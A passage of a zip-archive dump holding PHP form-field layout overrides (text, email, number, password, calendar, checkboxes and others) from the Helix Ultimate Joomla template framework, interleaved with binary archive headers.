 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 * @var   string   $animated        Is it animated.
 * @var   string   $active          Is it active.
 * @var   string   $max             The maximum value.
 */


// Initialize some field attributes.
$class = 'progress-bar ' . $class;
$class .= $animated ? ' progress-bar-striped progress-bar-animated' : '';
$class .= $active ? ' active' : '';
$class = 'class="' . $class . '"';

$value = (float) $value;
$value = $value < $min ? $min : $value;
$value = $value > $max ? $max : $value;

$data = '';
$data .= 'aria-valuemax="' . $max . '"';
$data .= ' aria-valuemin="' . $min . '"';
$data .= ' aria-valuenow="' . $value . '"';

$attributes = array(
	$class,
	!empty($width) ? ' style="width:' . $width . ';"' : '',
	$data
);

$value = ((float) ($value - $min) * 100) / ($max - $min);
?>
<div class="progress">
	<div
		role="progressbar"
		<?php echo implode(' ', $attributes); ?>
		style="width:<?php echo (string) $value; ?>%;<?php echo !empty($color) ? ' background-color:' . $color . ';' : ''; ?>"></div>
</div>
PK!�;ř�9helixultimate/overrides/layouts/joomla/form/field/url.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\String\PunycodeHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

$autocomplete = !$autocomplete ? ' autocomplete="off"' : ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete === ' autocomplete="on"' ? '' : $autocomplete;

$attributes = array(
	!empty($size) ? ' size="' . $size . '"' : '',
	$disabled ? ' disabled' : '',
	$readonly ? ' readonly' : '',
	strlen($hint) ? ' placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	$autocomplete,
	$autofocus ? ' autofocus' : '',
	$spellcheck ? '' : ' spellcheck="false"',
	$onchange ? ' onchange="' . $onchange . '"' : '',
	!empty($maxLength) ? $maxLength : '',
	$required ? ' required aria-required="true"' : '',
);
?>
<input
	<?php echo $inputType; ?>
	name="<?php echo $name; ?>"
	<?php echo !empty($class) ? ' class="form-control ' . $class . '"' : 'class="form-control"'; ?>
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars(PunycodeHelper::urlToUTF8($value), ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo implode(' ', $attributes); ?>>
PK!#� �

;helixultimate/overrides/layouts/joomla/form/field/email.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\String\PunycodeHelper;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   array    $spellcheck      Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

$autocomplete = !$autocomplete ? 'autocomplete="off"' : 'autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == 'autocomplete="on"' ? '' : $autocomplete;

$attributes = array(
	$spellcheck ? '' : 'spellcheck="false"',
	!empty($size) ? 'size="' . $size . '"' : '',
	$disabled ? 'disabled' : '',
	$readonly ? 'readonly' : '',
	$onchange ? 'onchange="' . $onchange . '"' : '',
	$autocomplete,
	$multiple ? 'multiple' : '',
	!empty($maxLength) ? 'maxlength="' . $maxLength . '"' : '',
	strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	$required ? 'required aria-required="true"' : '',
	$autofocus ? 'autofocus' : '',
);
?>
<input
	type="email"
	name="<?php echo $name; ?>"
	<?php echo !empty($class) ? ' class="form-control validate-email ' . $class . '"' : ' class="form-control validate-email"'; ?>
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars(PunycodeHelper::emailToUTF8($value), ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo implode(' ', $attributes); ?>>
PK!H踷5
5
<helixultimate/overrides/layouts/joomla/form/field/number.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   array    $spellcheck      Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

$autocomplete = !$autocomplete ? ' autocomplete="off"' : ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == ' autocomplete="on"' ? '' : $autocomplete;

$attributes = array(
	!empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"',
	!empty($size) ? 'size="' . $size . '"' : '',
	$disabled ? 'disabled' : '',
	$readonly ? 'readonly' : '',
	strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	!empty($onchange) ? 'onchange="' . $onchange . '"' : '',
	isset($max) ? 'max="' . $max . '"' : '',
	!empty($step) ? 'step="' . $step . '"' : '',
	isset($min) ? 'min="' . $min . '"' : '',
	$required ? 'required aria-required="true"' : '',
	$autocomplete,
	$autofocus ? 'autofocus' : ''
);

if (is_numeric($value))
{
	$value = (float) $value;
}
else
{
	$value = '';
	$value = ($required && isset($min)) ? $min : $value;
}
?>
<input
	type="number"
	name="<?php echo $name; ?>"
	id="<?php echo $id; ?>"
	value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
	<?php echo implode(' ', $attributes); ?>>
PK!�C8:helixultimate/overrides/layouts/joomla/form/field/file.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/


defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Utility\Utility;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   array    $spellcheck      Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

$maxSize = HTMLHelper::_('number.bytes', Utility::getMaxUploadSize());
?>
<input type="file"
	name="<?php echo $name; ?>"
	id="<?php echo $id; ?>"
	<?php echo !empty($size) ? ' size="' . $size . '"' : ''; ?>
	<?php echo !empty($accept) ? ' accept="' . $accept . '"' : ''; ?>
	<?php echo !empty($class) ? ' class="form-control ' . $class . '"' : ' class="form-control"'; ?>
	<?php echo !empty($multiple) ? ' multiple' : ''; ?>
	<?php echo $disabled ? ' disabled' : ''; ?>
	<?php echo $autofocus ? ' autofocus' : ''; ?>
	<?php echo !empty($onchange) ? ' onchange="' . $onchange . '"' : ''; ?>
	<?php echo $required ? ' required aria-required="true"' : ''; ?>><br>
	<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
PK!o��ll>helixultimate/overrides/layouts/joomla/form/field/calendar.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\Utilities\ArrayHelper;

extract($displayData);

// Get some system objects.
$document = Factory::getDocument();

$inputvalue = '';

// Build the attributes array.
$attributes = array();

empty($size)      ? null : $attributes['size'] = $size;
empty($maxlength) ? null : $attributes['maxlength'] = $maxLength;
empty($class)     ? $attributes['class'] = 'form-control' : $attributes['class'] = 'form-control ' . $class;
!$readonly        ? null : $attributes['readonly'] = 'readonly';
!$disabled        ? null : $attributes['disabled'] = 'disabled';
empty($onchange)  ? null : $attributes['onchange'] = $onchange;

if ($required)
{
	$attributes['required'] = '';
	$attributes['aria-required'] = 'true';
}

// Handle the special case for "now".
if (strtoupper($value) == 'NOW')
{
	$value = Factory::getDate()->format('Y-m-d H:i:s');
}

$readonly = isset($attributes['readonly']) && $attributes['readonly'] == 'readonly';
$disabled = isset($attributes['disabled']) && $attributes['disabled'] == 'disabled';

if (is_array($attributes))
{
	$attributes = ArrayHelper::toString($attributes);
}

$cssFileExt = ($direction === 'rtl') ? '-rtl.css' : '.css';
$localesPath = $localesPath ?? '';
$helperPath = $helperPath ?? '';

// The static assets for the calendar
HTMLHelper::_('script', $localesPath, false, true, false, false, true);
HTMLHelper::_('script', $helperPath, false, true, false, false, true);
HTMLHelper::_('script', 'system/fields/calendar.min.js', false, true, false, false, true);
HTMLHelper::_('stylesheet', 'system/fields/calendar' . $cssFileExt, array(), true);

// Redefine locale/helper assets to use correct path, and load calendar assets
if (JVERSION >= 4)
{
	$document->getWebAssetManager()
		->registerAndUseScript('field.calendar.locale', $localesPath, [], ['defer' => true])
		->registerAndUseScript('field.calendar.helper', $helperPath, [], ['defer' => true])
		->useStyle('field.calendar' . ($direction === 'rtl' ? '-rtl' : ''))
		->useScript('field.calendar');
}

?>
<div class="field-calendar">
	<?php if (!$readonly && !$disabled) : ?>
	<div class="input-group">
		<?php endif; ?>
		<input
			type="text"
            id="<?php echo $id; ?>"
            name="<?php echo $name; ?>"
			value="<?php echo htmlspecialchars(($value !== '0000-00-00 00:00:00') ? $value : '', ENT_COMPAT, 'UTF-8'); ?>"
			<?php echo $attributes; ?>
			<?php echo !empty($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : ''; ?>
			data-alt-value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" autocomplete="off">
		<span class="input-group-text">
				<button type="button" class="<?php echo ($readonly || $disabled) ? 'hidden ' : ''; ?>btn btn-secondary"
					id="<?php echo $id; ?>_btn"
					data-inputfield="<?php echo $id; ?>"
					data-dayformat="<?php echo $format; ?>"
					data-button="<?php echo $id; ?>_btn"
					data-firstday="<?php echo Factory::getLanguage()->getFirstDay(); ?>"
					data-weekend="<?php echo Factory::getLanguage()->getWeekEnd(); ?>"
					data-today-btn="<?php echo $todaybutton; ?>"
					data-week-numbers="<?php echo $weeknumbers; ?>"
					data-show-time="<?php echo $showtime; ?>"
					data-show-others="<?php echo $filltable; ?>"
					data-time-24="<?php echo $timeformat; ?>"
					data-only-months-nav="<?php echo $singleheader; ?>"
					<?php echo !empty($minYear) ? 'data-min-year="' . $minYear . '"' : ''; ?>
					<?php echo !empty($maxYear) ? 'data-max-year="' . $maxYear . '"' : ''; ?>
				><span class="fas fa-calendar" aria-hidden="true"></span></button>
		</span>
		<?php if (!$readonly && !$disabled) : ?>
	</div>
<?php endif; ?>
</div>
PK!���4��:helixultimate/overrides/layouts/joomla/form/field/text.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

$list = '';

if ($options)
{
	$list = 'list="' . $id . '_datalist"';
}

$autocomplete = !$autocomplete ? ' autocomplete="off"' : ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete === ' autocomplete="on"' ? '' : $autocomplete;

$attributes = array(
	!empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"',
	!empty($size) ? 'size="' . $size . '"' : '',
	!empty($description) ? 'title="' . $description . '"' : '',
	$disabled ? 'disabled' : '',
	$readonly ? 'readonly' : '',
	$list,
	strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	$onchange ? ' onchange="' . $onchange . '"' : '',
	!empty($maxLength) ? $maxLength : '',
	$required ? 'required aria-required="true"' : '',
	$autocomplete,
	$autofocus ? ' autofocus' : '',
	$spellcheck ? '' : 'spellcheck="false"',
	!empty($inputmode) ? 'inputmode="' . $inputmode . '"' : '',
	!empty($pattern) ? 'pattern="' . $pattern . '"' : '',

	// @TODO add a proper string here!!!
	!empty($validationtext) ? 'data-validation-text="' . $validationtext . '"' : '',
);


if(isset($addonBefore) && $addonBefore)
{
	$addonBeforeHtml = '<span class="input-group-addon">' . $addonBefore . '</span>';
}

if(isset($addonBefore) && $addonBefore)
{
	$addonAfterHtml  = '<span class="input-group-addon">' . $addonAfter . '</span>';
}

?>

<?php if (!empty($addonBefore) || !empty($addonAfter)) : ?>
<div class="input-group">
<?php endif; ?>

	<?php if (!empty($addonBefore)) : ?>
		<?php echo $addonBeforeHtml; ?>
	<?php endif; ?>

	<input
		type="text"
		name="<?php echo $name; ?>"
		id="<?php echo $id; ?>"
		value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
		<?php echo $dirname; ?>
		<?php echo implode(' ', $attributes); ?>>

	<?php if (!empty($addonAfter)) : ?>
		<?php echo $addonAfterHtml; ?>
	<?php endif; ?>

<?php if (!empty($addonBefore) || !empty($addonAfter)) : ?>
</div>
<?php endif; ?>

<?php if ($options) : ?>
	<datalist id="<?php echo $id; ?>_datalist">
		<?php foreach ($options as $option) : ?>
			<?php if (!$option->value) : ?>
			<?php continue; ?>
			<?php endif; ?>
			<option value="<?php echo $option->value; ?>"><?php echo $option->text; ?></option>
		<?php endforeach; ?>
	</datalist>
<?php endif; ?>
PK!�7�3__>helixultimate/overrides/layouts/joomla/form/field/textarea.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 * @var   array    $inputType       Options available for this field.
 * @var   string   $accept          File types that are accepted.
 */

// Initialize some field attributes.
$autocomplete = !$autocomplete ? 'autocomplete="off"' : 'autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == 'autocomplete="on"' ? '' : $autocomplete;

$attributes = array(
	$columns ?: '',
	$rows ?: '',
	!empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"',
	strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	$disabled ? 'disabled' : '',
	$readonly ? 'readonly' : '',
	$onchange ? 'onchange="' . $onchange . '"' : '',
	$onclick ? 'onclick="' . $onclick . '"' : '',
	$required ? 'required aria-required="true"' : '',
	$autocomplete,
	$autofocus ? 'autofocus' : '',
	$spellcheck ? '' : 'spellcheck="false"',
	$maxlength ? $maxlength: ''

);
?>
<textarea name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo implode(' ', $attributes); ?> ><?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?></textarea>
PK!��т��>helixultimate/overrides/layouts/joomla/form/field/password.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

extract($displayData);

if ($meter)
{
	HTMLHelper::_('behavior.formvalidator');
	HTMLHelper::_('script', 'system/fields/passwordstrength.min.js', array('version' => 'auto', 'relative' => true));

	$class = 'js-password-strength ' . $class;

	if ($forcePassword)
	{
		$class = $class . ' meteredPassword';
	}
}

HTMLHelper::_('script', 'system/fields/passwordview.min.js', array('version' => 'auto', 'relative' => true));

Text::script('JFIELD_PASSWORD_INDICATE_INCOMPLETE');
Text::script('JFIELD_PASSWORD_INDICATE_COMPLETE');
Text::script('JSHOW');
Text::script('JHIDE');

$attributes = array(
	strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '',
	!$autocomplete ? 'autocomplete="off"' : '',
	!empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"',
	$readonly ? 'readonly' : '',
	$disabled ? 'disabled' : '',
	!empty($size) ? 'size="' . $size . '"' : '',
	!empty($maxLength) ? 'maxlength="' . $maxLength . '"' : '',
	$required ? 'required aria-required="true"' : '',
	$autofocus ? 'autofocus' : '',
	!empty($minLength) ? 'data-min-length="' . $minLength . '"' : '',
	!empty($minIntegers) ? 'data-min-integers="' . $minIntegers . '"' : '',
	!empty($minSymbols) ? 'data-min-symbols="' . $minSymbols . '"' : '',
	!empty($minUppercase) ? 'data-min-uppercase="' . $minUppercase . '"' : '',
	!empty($minLowercase) ? 'data-min-lowercase="' . $minLowercase . '"' : '',
	!empty($forcePassword) ? 'data-min-force="' . $forcePassword . '"' : '',
);

?>
<div class="password-group">
	<div class="input-group">
		<span class="input-group-text">
			<span class="fas fa-key" aria-hidden="true"></span>
			<span class="visually-hidden"><?php echo Text::_('JSHOW'); ?></span>
		</span>
		<input
			type="password"
			name="<?php echo $name; ?>"
			id="<?php echo $id; ?>"
			value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
			<?php echo implode(' ', $attributes); ?>>
	</div>
</div>
PK!5F:P@helixultimate/overrides/layouts/joomla/form/field/checkboxes.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 */

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$format = '<input type="checkbox" id="%1$s" name="%2$s" value="%3$s" %4$s>';

// The alt option for JText::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>

<fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' checkboxes'); ?>"
	<?php echo $required ? 'required aria-required="true"' : ''; ?>
	<?php echo $autofocus ? 'autofocus' : ''; ?>>

	<?php foreach ($options as $i => $option) : ?>
		<?php
			// Initialize some option attributes.
			$checked = in_array((string) $option->value, $checkedOptions, true) ? 'checked' : '';

			// In case there is no stored value, use the option's default state.
			$checked     = (!$hasValue && $option->checked) ? 'checked' : $checked;
			$optionClass = !empty($option->class) ? 'class="form-check-input ' . $option->class . '"' : ' class="form-check-input"';
			$disabled    = !empty($option->disable) || $disabled ? 'disabled' : '';

			// Initialize some JavaScript option attributes.
			$onclick  = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : '';
			$onchange = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : '';

			$oid        = $id . $i;
			$value      = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
			$attributes = array_filter(array($checked, $optionClass, $disabled, $onchange, $onclick));
		?>
		<div class="form-check form-check-inline">
			<label for="<?php echo $oid; ?>" class="form-check-label">
				<?php echo sprintf($format, $oid, $name, $value, implode(' ', $attributes)); ?>
				<?php echo $option->text; ?>
			</label>
		</div>
	<?php endforeach; ?>
</fieldset>
PK!O��7�	�	<helixultimate/overrides/layouts/joomla/form/field/hidden.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
